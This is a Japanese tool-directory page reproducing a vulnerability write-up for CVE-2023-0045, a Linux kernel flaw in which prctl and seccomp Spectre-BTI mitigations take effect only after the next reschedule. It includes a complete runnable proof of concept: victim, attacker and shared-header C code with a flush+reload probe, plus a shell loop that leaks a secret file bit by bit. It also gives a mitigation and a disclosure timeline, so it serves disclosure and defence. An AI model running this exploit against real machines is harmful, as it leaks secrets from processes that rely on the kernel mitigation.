Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-0045 | Kitploit
ツール/GitHubGitHub/es0j/cve-2023-0045
脆弱性分析エクスプロイト論文と研究学習と教育バイナリエクスプロイト
GitHubes0j/cve-2023-0045

CVE-2023-0045

リポジトリを見る
1423年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Linux における Spectre-BTI ユーザー空間緩和策の回避

これは作業中のドキュメントです。誤りがあると思われる場合や引用漏れがある場合は、フィードバックをお送りください。

バージョン 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

はじめに

Spectre-BTI攻撃の成功率をテストした際、カーネルAPIを緩和策として使用したときに奇妙なパターンを検出しました1。私たちのテストにより、Linuxカーネルが攻撃を正しく緩和できず、syscall後にプロセスが短時間露出したままになることが明らかになりました。

さらなる調査により、カーネルはsyscall中にIBPBを即座に発行しないことが判明しました。ib_prctl_set2 関数はタスクのThread Information Flags (TIF) を更新し、__speculation_ctrl_update 3 関数でSPEC_CTRL MSRを更新しますが、IBPBはTIFビットがチェックされる次のスケジュール時にのみ発行されます。これにより、被害者はprctl syscallの前にBTBに注入された値に対して脆弱なままになります。この動作は、タスクのリスケジュールが発生した後にのみ修正されます。さらに、syscall自体によるカーネルエントリは、デフォルトのシナリオ(つまり、カーネルがretpolineまたはeIBRSを介して自身を保護する場合)ではIBPBを発行しません。

prctl緩和策

Spectre-BTI攻撃を緩和するためのprctlを次のように実行すると: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); kernel 5.15上のib_prctl_set2関数に到達します。SPEC_DISABLEオプションが使用されると、task_set_spec_ib_disableのTIFビットが設定され、task_update_spec_tifが呼び出されます:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disableはset_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);を呼び出し、対象タスクが現在のタスクである場合はspeculation_ctrl_update_current();を呼び出します:

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

speculation_ctrl_update_currentは、speculation_ctrl_updateラッパーの後、tifp = ~tifpで__speculation_ctrl_updateを実行します。ここではSTIBPを設定するためのwrmsrの更新が実行されますが、IBPBは発行されません:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

seccomp syscallもarch_seccomp_spec_mitigate4内でib_prctl_set2を緩和策として使用するため、seccompでも同じ結果が期待されます。

テスト

コード分析によって悪用可能なウィンドウが存在することは確信していますが、そのウィンドウが、被害者が秘密をロードし、攻撃者がそれをリークするのに十分な大きさであるかは不明でした(秘密はprctl呼び出しが発行されるまで被害者のアドレス空間にないことが期待されるため)。テストは、ハードウェア緩和策をサポートするベアメタルマシン上で、ubuntu 22.04.1 LTSをインストールして実行されました:

root@kitploit:~
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

テストコードは、同じ論理コア上で実行される2つのプロセスで構成されています。攻撃者は、被害者プロセス内に存在するspectre gadgetのアドレスでBTBを絶えず汚染します。被害者プロセスは、テスト変数がspectre gadget関数によってアクセスされたかどうかをチェックすることで、誤予測率を測定します。通常、これにより次の出力が得られます:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

次に、PRCTLを使用して攻撃を緩和します。緩和策は、プログラムの先頭にprctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);を追加することで有効にできます。これによりSpectre-BTI攻撃が緩和されることが期待されます:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

しかし、一部のテストでは異なる結果が示されました:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

また、'nice'(優先度)を変更すると、誤予測率に影響するようです:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

これは、コード分析で理解されたように、prctlが次のスケジュール後にのみプロセスを保護したことを示しています。このテストのもう1つの奇妙な動作は、誤った分岐の後、投機パスが修正され、真の値がBTBに書き込まれるはずであることです。兄弟スレッド上にBTBを再汚染する他の攻撃者はいないため、このような高い誤予測値は予想外です。

概念実証

これが測定エラーではないことを確認するために、簡単なPOCを作成しました。被害者コードは、Spectre-BTI攻撃に対して脆弱な関数ポインタを通じて常にsafe_functionを実行します。被害者は、protect_me内でprctl syscallを使用してカーネルに保護を要求します。被害者はまた、テキストファイルから秘密をロードし、他のsyscallもTIFビットをチェックしないか、IBPBを強制するリスケジュールを引き起こさないことを示しています。

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

libc関数のほとんどは、攻撃者と被害者の間の共通ヘッダー内に配置され、spectre_gadget関数とspec関数が被害者と攻撃者の両方で同じメモリアドレスを共有するようにしました(そうしないと.GOTエントリが作成され、アドレスが変更されます)。これは必須ではなく、分岐を同じアドレスに配置して被害者のコンテキストを模倣する他の方法もありますが、この方法がより簡単です。

root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

攻撃は、spec関数を呼び出し、safe_functionの代わりにspectre_gadgetへ分岐させることでBTBを汚染することから成ります。トレーニング後、被害者プロセスが作成され、specを実行してspectre_gadgetへ誤予測します(spectre_gadgetは決して実行されるべきではありません)。秘密は、古典的なflush+reloadサイドチャネルを通じてリークされます。

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

被害者はサイドチャネルを通じてリークするビットを選択するために使用できる引数を受け取るため、攻撃者が実行されている間に被害者プロセスを複数回実行できます:

root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

これにより、次のテキストファイルが残ります:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

ビット0と6が1であることに注意してください。したがって、最初の文字は0x41(A)でなければなりません。 簡単なpythonスクリプトでファイルを解析すると、次のようになります: The secret leaked is: b'Asuper_secret_flag' これは、被害者が使用したsecret.txtに存在する正確な内容です。

秘密をロードした後に、prctl呼び出しをsyscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0);によるseccompに変更しても、攻撃を防ぐことはできません。内部的には両方とも同じib_prctl_set関数を使用して緩和策を実装しているため、これは予想通りです。

結論

投機制御のためのprctl syscallの現在の実装は、緩和策の前に実行される攻撃者からユーザーを保護できません。seccomp緩和策もこのシナリオでは失敗します。

緩和策

ユーザーモードアプリケーションの場合、prctl呼び出し後のusleepで十分にリスケジュールが強制され、正しい緩和が保証されます。この攻撃に対する可能なカーネルパッチの1つは、__speculation_ctrl_update 3でSTIBPが設定されるのと同時にIBPBを発行するか、schedule()を呼び出すことです。

タイムライン

  • 2022年12月27日 - prctlで予期しない動作を検出

  • 2022年12月29日 - このwriteupの初版

  • 2022年12月31日 - Linux Kernel Securityチームと共有

  • 2023年2月2日 - レポートを公開開示: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

参考文献:

Footnotes

  1. “The Linux kernel user-space API guide: Speculation Control”。 リンク: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. https://raw.githubusercontent.com/es0j/cve-2023-0045/HEAD/%E3%80%8CLinux%E3%82%BD%E3%83%BC%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89%E3%80%8D%E3%83%AA%E3%83%B3%E3%82%AF: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3

  3. https://raw.githubusercontent.com/es0j/cve-2023-0045/HEAD/%E3%80%8CLinux%E3%82%BD%E3%83%BC%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89%E3%80%8D%E3%83%AA%E3%83%B3%E3%82%AF: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2

  4. https://raw.githubusercontent.com/es0j/cve-2023-0045/HEAD/%E3%80%8CLinux%E3%82%BD%E3%83%BC%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89%E3%80%8D%E3%83%AA%E3%83%B3%E3%82%AF: [] ()

ツールをダウンロード
https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616
https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616
↩